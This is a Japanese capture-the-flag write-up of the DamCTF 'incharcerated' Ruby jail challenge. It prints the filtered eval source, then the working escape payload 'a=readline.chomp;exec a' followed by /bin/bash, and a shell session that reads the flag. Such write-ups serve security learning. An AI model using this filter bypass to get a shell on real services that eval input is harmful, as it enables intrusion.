概要
2023年4月8日(土) 9:00から翌日9:00の24時間で行われたDamCTFのincharceratedという問題のWriteupです。
僕が所属するチームBegineers Sec
は451チーム中50位を取ることができました 🎉
incharcerated
Miscの問題です。451チーム出ていて、50チームしか解けていないのでMiscにしては割と難易度は高めだったと思われます。
ダウンロード
まずは問題を見ます。
nc
で接続できるようになっていることがわかり、中で動いているコードがダウンロードできます。
#!/usr/bin/env ruby
# RUBY_VERSION == 3.2
puts <<~'HEADER'
----------------------------
|| || || ||
|| || || ||
|| ___|| ____ ||___ ||
|| / ||' `|| \ ||
||____/||______||\____||
||\ \|| ||/ /||
|| `\ || || /' ||
|| `||\ /||' ||
|| ||\ \/ /|| ||
|| || `\/' || ||
----------------------------
jailed for crimes against parentheses
HEADER
printf '>>> '
STDOUT.flush
input = readline.chomp
# cant make this too easy
class Object
def system(*)
'nice try youre not getting the flag this way'
end
def spawn(*)
'or this way either'
end
end
if input =~ /[^a-z.;=_ ]/
# be nice and print out what character failed
puts "failure builds character: #{Regexp.last_match}"
exit 1
end
eval(input)
実行してみると以下のような感じです。
┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
----------------------------
|| || || ||
|| || || ||
|| ___|| ____ ||___ ||
|| / ||' `|| \ ||
||____/||______||\____||
||\ \|| ||/ /||
|| `\ || || /' ||
|| `||\ /||' ||
|| ||\ \/ /|| ||
|| || `\/' || ||
----------------------------
jailed for crimes against parentheses
>>>
コードが行ってること
コードはsystem
とspawn
をオーバーライドして使えなくしています。
そして入力を\n
まで読み込み、a-z
, .
, ;
, =
, _
,
が以外の文字が入っていたら終了します。
それ以外であれば、eval
で入力値がRubyの命令として実行されます。
解法
Rubyの文法と使える文字列から考えて、着目点としては以下の通りです。
-
=
で変数に文字を代入できる -
"
や'
の利用はできない -
;
を用いて複数の命令を1行にかける -
input
はチェックされるがそのあとにはチェックが行われない
つまり、変数に/bin/bash
を代入して、exec
で呼び出せばいい。 ということになります。
具体的なペイロードは以下です。
a=readline.chomp;exec a
/bin/bash
このコードを実行すると、eval(a=readline.chomp;exec a)
が実行されます。
そのあとに標準入力から受け取ったコマンドをexec
で実行するので、/bin/bash
が呼ばれます。
┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
----------------------------
|| || || ||
|| || || ||
|| ___|| ____ ||___ ||
|| / ||' `|| \ ||
||____/||______||\____||
||\ \|| ||/ /||
|| `\ || || /' ||
|| `||\ /||' ||
|| ||\ \/ /|| ||
|| || `\/' || ||
----------------------------
jailed for crimes against parentheses
>>> a=readline.chomp;exec a
/bin/bash
ls
flag
jail.rb
cat flag
dam{the-real-rubytaco-was-the-symbols-we-found-along-the-way}
わーい。楽しい問題でした。